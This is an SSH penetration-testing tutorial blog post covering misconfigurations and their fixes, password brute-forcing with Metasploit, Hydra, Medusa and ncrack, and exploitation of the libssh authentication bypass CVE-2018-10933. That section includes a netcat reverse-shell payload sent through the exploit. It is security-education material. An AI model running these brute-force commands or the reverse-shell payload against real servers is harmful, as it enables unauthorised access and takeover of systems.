SSH Pentesting Guide

A Comprehensive Guide to Breaking SSH. Written by Alexandre Zanni.

SSH Pentesting Guide
SSH Pentesting Guide

In this guide, I will:

  • Quickly introduce the SSH protocol and implementations.
  • Expose some common configuration mistakes then showcase some attacks on the protocol & implementations.
  • Present some SSH pentesting & blue team tools.
  • Give a standard reference for security guidelines and finally talk about an article I previously wrote on the topic of network pivoting.

If you’d like to suggest an amendment or contribute to this article send us an email through to [email protected] We’ll also do our best to propagate additions and suggestions from social media!

Turgensec provides cost effective bespoke security and security testing to individuals and organizations.

Our service offerings include penetration testing, open source counterintelligence, open source intelligence and digital asset management. Contact us by clicking here.

What are SSH and SFTP?

SSH is a secure remote shell protocol used for operating network services
securely over an unsecured network. The default SSH port is 22, it’s common to see it open on servers on Internet or Intranets.

SFTP is the SSH File Transfer Protocol, a protocol used to transfer files over an SSH connection. Most SSH implementations are also supporting SFTP.

SSH servers/libs

The most famous and common SSH server and client is openSSH (OpenBSD Secure Shell). It’s a strong implementation which is well maintained and was first released in 1999. So this is the implementation you will see the most often on BSD, Linux and even Windows as it is shipped in Windows since Windows 10.

But openSSH is not the only implementation, here are other ones:

SSH servers:

  • openSSH – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10
  • Dropbear – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt
  • PuTTY – SSH implementation for Windows, the client is commonly used but the use of the server is rarer
  • CopSSH – implementation of OpenSSH for Windows

SSH libraries (implementing server-side):

  • libssh – multiplatform C library implementing the SSHv2 protocol with bindings in Python, Perl and R; it’s used by KDE for sftp and by GitHub for the git SSH infrastructure
  • wolfSSH – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
  • Apache MINA SSHD – Apache SSHD java library is based on Apache MINA
  • paramiko – Python SSHv2 protocol library

Common configuration mistakes

Root login

By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account.

How to disable root login for openSSH:

  1. Edit SSH server configuration sudoedit /etc/ssh/sshd_config
  2. Change #PermitRootLogin yes into PermitRootLogin no
  3. Take into account configuration changes: sudo systemctl daemon-reload
  4. Restart the SSH server sudo systemctl restart sshd

SFTP command execution

Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like /usr/bin/nologin or /usr/bin/false) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, a user can ask to execute a command right after authentication before it’s default command or shell is executed. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. /bin/bash) before, just by doing:

$ ssh -v [email protected] id
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to ([]:22).
debug1: channel 0: new [client-session]
debug1: Requesting [email protected]
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype [email protected] want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh [email protected] /bin/bash

Here is an example of secure SFTP configuration (/etc/ssh/sshd_config – openSSH) for the user noraj:

Match User noraj
        ChrootDirectory %h
        ForceCommand internal-sftp
        AllowTcpForwarding no
        PermitTunnel no
        X11Forwarding no
        PermitTTY no

This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.

Authentication methods

On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling publickey on openSSH configuration and setting it as the default method but not disabling password. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:

$ ssh -v
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
debug1: Authentications that can continue: publickey,password,keyboard-interactive

For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the PreferredAuthentications option to force to use this method.

$ ssh -v -o PreferredAuthentications=password
debug1: Next authentication method: password

Review the SSH server configuration is necessary to check that only expected
methods are authorized. Using the verbose mode on the client can help to see
the effectiveness of the configuration.

Attack showcase

Now we’ll see a set of attack examples that you can reproduce on some SSH server implementations.

Password guessing/bruteforce attack

I will now run through an improved variation of “brute forcing” an SSH user password with a password dictionary using four tools: the metasploit framework, hydra, medusa and ncrack.

In all cases we will target the machine, on port 22 and will bruteforce only the password of the user noraj.

Read the help messages given below if you don’t understand an argument/option.


With Metasploit:

$ msf5 > search ssh

Matching Modules

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   17  auxiliary/scanner/ssh/ssh_login                                              normal     Yes    SSH Login Check Scanner
msf5 > use 17
msf5 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/password/rockyou.txt
PASS_FILE => /usr/share/wordlists/password/rockyou.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
msf5 auxiliary(scanner/ssh/ssh_login) > set username noraj
username => noraj
msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] - Success: 'noraj:noraj' ''
[*] Command shell session 1 opened ( -> at 2020-01-02 21:33:33 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


With Hydra:

$ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh://
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-01-02 21:44:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: noraj   password: noraj
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2020-01-02 21:44:33

Extract of the help message:

  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  service   the service to crack (see below for supported protocols)


With Medusa:

$ medusa -h -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
Medusa v2.2 [] (C) JoMo-Kun / Foofus Networks <[email protected]>

ACCOUNT CHECK: [ssh] Host: (1 of 1, 0 complete) User: noraj (1 of 1, 0 complete) Password: noraj (1 of 14344391 complete)
ACCOUNT FOUND: [ssh] Host: User: noraj Password: noraj [SUCCESS]

Extract of the help message:

  -h [TEXT]    : Target hostname or IP address
  -u [TEXT]    : Username to test
  -P [FILE]    : File containing passwords to test
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)


With ncrack:

$ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh://
Starting Ncrack 0.7 ( ) at 2020-01-02 21:50 CET

Discovered credentials for ssh on 22/tcp: 22/tcp ssh: 'noraj' 'noraj'

Ncrack done: 1 service scanned in 3.00 seconds.

Ncrack finished.

Extract of the help message:

  -P <filename>: password file
  --user <username_list>: comma-separated username list

Exploit – LibSSH RCE

CVE-2018-10933 is the reference for a vulnerability impacting libssh library. This vulnerability allows unauthorized access by bypassing the authentication.

libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials. Advisory

When you find a vulnerable version with nmap you should see something like that:

22/tcp  open     ssh      libssh 0.8.3 (protocol 2.0)

searchsploit (the tool used to locally browse the Exploit-DB) shows the existing exploits available for libssh.

searchsploit libssh
-------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                              |  Path
                                                                                            | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------- ----------------------------------------
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access                                                  | exploits/linux/remote/
libSSH - Authentication Bypass                                                              | exploits/linux/remote/
-------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

So we can use the exploit to execute a command on the target in order to confirm it is working.

$ python /usr/share/exploitdb/exploits/linux/remote/ 22 id
uid=0(root) gid=0(root) groups=0(root)

Instead of just running a command we can try to execute a reverse shell.

First we start the listener on our machine: sudo ncat -nlp 80.

Then we use a sh reverse shell payload in the exploit:

python /usr/share/exploitdb/exploits/linux/remote/ 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80 >/tmp/f"


As fuzzing is complex, I’m only going to highlight two approaches:

  • Generic & automated.
  • Specific & manual.

Generic & automated approach

It’s possible to use a script like to automatically fuzz a live SSH server whatever is the implementation.

It has the advantage of being simple but it’s not very targeted so it’s going to take a lot of time and miss a lot of results.

Install dependencies and launch the script is as easy as writing those two lines:

$ cpan Net::SSH2
$ ./ -H -P 22 -u noraj -p noraj

Another automated approach that will also work on any live SSH server is to use the metasploit module auxiliary/fuzzers/ssh/ssh_version_2:

msf5 > use auxiliary/fuzzers/ssh/ssh_version_2
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run
[*] Running module against

[*] - Fuzzing with iteration 100 using fuzzer_string_giant
[*] - Fuzzing with iteration 200 using fuzzer_string_giant
[*] - Fuzzing with iteration 300 using fuzzer_string_long
[*] - Fuzzing with iteration 400 using fuzzer_string_long
[*] - Fuzzing with iteration 500 using fuzzer_string_paths_giant
[*] - Fuzzing with iteration 600 using fuzzer_string_paths_giant
[*] - Fuzzing with iteration 700 using fuzzer_string_paths_giant
[*] - Fuzzing with iteration 800 using fuzzer_string_paths_giant
[*] - Fuzzing with iteration 900 using fuzzer_string_paths_giant
[*] - Fuzzing with iteration 1000 using fuzzer_string_paths_giant

Using those tools is easy but you have low chance of finding something exploitable.

Custom & manual approach

If you want to find more significant results and have the time to familiarize yourself with the targeted implementation you can opt for a manual approach.

Here the technique is to use an advanced generic fuzzer on a self-run SSH server and modify the source code to optimize the test execution time. So it will require to configure the fuzzer, configure and build the targeted implementation, detecting the crashes, reducing the use of resource-intensive functions to make the fuzz faster, increasing coverage, create input test-cases and input dictionaries and having a deep understanding of the SSH protocol and of the implementation.

Here is an example of Vegard Nossum Fuzzing the OpenSSH daemon using AFL.

Related Tools & Resources

HASSH” is a network fingerprinting standard which can be used to identify specific Client and Server SSH implementations. The fingerprints can be easily stored, searched and shared in the form of an MD5 fingerprint.

HASSH is a standard that helps blue teams to detect, control and investigate brute force or credential stuffing password attempts, exfiltration of data, network discovery and lateral movement, etc.

ssh-audit is an SSH server auditing tool (banner, key exchange, encryption, mac, compression, compatibility, security, etc).

It’s handy for professional pentesters to quickly detect the target version and knowing which algorithms are available on the remote server to be able to give algorithm recommendations to the customer.

Example of use:

$ ssh-audit
# general
(gen) banner: SSH-2.0-OpenSSH_7.9
(gen) software: OpenSSH 7.9
(gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
(gen) compression: enabled ([email protected])

# key exchange algorithms
(kex) curve25519-sha256                     -- [warn] unknown algorithm
(kex) [email protected]          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256  -- [warn] using custom size modulus (possibly weak)
                                            `- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group14-sha1           -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 3.9, Dropbear SSH 0.53

# host-key algorithms
(key) rsa-sha2-512                          -- [info] available since OpenSSH 7.2
(key) rsa-sha2-256                          -- [info] available since OpenSSH 7.2
(key) ssh-rsa                               -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
(key) ecdsa-sha2-nistp256                   -- [fail] using weak elliptic curves
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5

# encryption algorithms (ciphers)
(enc) [email protected]         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9.
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) [email protected]                -- [info] available since OpenSSH 6.2
(enc) [email protected]                -- [info] available since OpenSSH 6.2

# message authentication code algorithms
(mac) [email protected]               -- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 6.2
(mac) [email protected]              -- [info] available since OpenSSH 6.2
(mac) [email protected]         -- [info] available since OpenSSH 6.2
(mac) [email protected]         -- [info] available since OpenSSH 6.2
(mac) [email protected]             -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 6.2
(mac) [email protected]                   -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 4.7
(mac) [email protected]                  -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 7.9)
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
(rec) -diffie-hellman-group14-sha1          -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
(rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove 
(rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove 
(rec) -hmac-sha2-512                        -- mac algorithm to remove 
(rec) [email protected]                 -- mac algorithm to remove 
(rec) -hmac-sha2-256                        -- mac algorithm to remove 
(rec) [email protected]                  -- mac algorithm to remove 
(rec) -hmac-sha1                            -- mac algorithm to remove 
(rec) [email protected]            -- mac algorithm to remove 
(rec) [email protected]              -- mac algorithm to remove

General Exploit Dev Resources

Though (beyond this article) not much really exists for SSH specific exploit development, many of the same general trends apply. Many books & articles have covered the development of zero-day stack & heap-based exploits in detail, some of which are covered in the appropriate sections of our books and resources page. (TLDR; Corelan & Shellcoders Hackers Handbook are still the best).

Some of the most notable remote SSH exploits of recent times are listed below as a quick non-comprehensive shortlist –

SSH Security guidelines

Mozilla is giving recommendations to help secure an OpenSSH server in this reference guide.

Best current practices regarding secure SSH configuration are also given in a guide called Applied Crypto Hardening. Currently examples of configuration are given for OpenSSH, Cisco ASA and Cisco IOS. The source of the guide is also available.


In 2019, I published an article about network pivoting Etat de l’art du pivoting réseau en 2019 [fr-FR].

This article addresses the following topics that are related to SSH:

  • SSH local port forwarding
  • SSH reverse remote port forwarding
  • SSH dynamic port forwarding
  • SSH reverse remote port forwarding + proxy SOCKS
  • VPN over SSH
  • sshuttle – Transparent proxy over ssh
  • Chisel – HTTP tunnel via SSH

Those methods are helpful for a professional red teamer to make lateral movement in the target network.

This is a community article. If you want to chat to other cyber security experts, contribute articles or collaborate with us, join our Discord channel by clicking here.

About the author

My name is Alexandre ZANNI aka noraj. I’m a Cybersecurity engineer, security auditor, pentester and ethical hacker. Also I’m a staff member of the RTFM association and a developer of BlackArch Linux.

Link –


Leave a Reply

Your email address will not be published. Required fields are marked *





Cyber Security Guide for USA Businesses | Breaches, Cyber Scams, Laws, Obligations

The Most Influential Individuals in Blockchain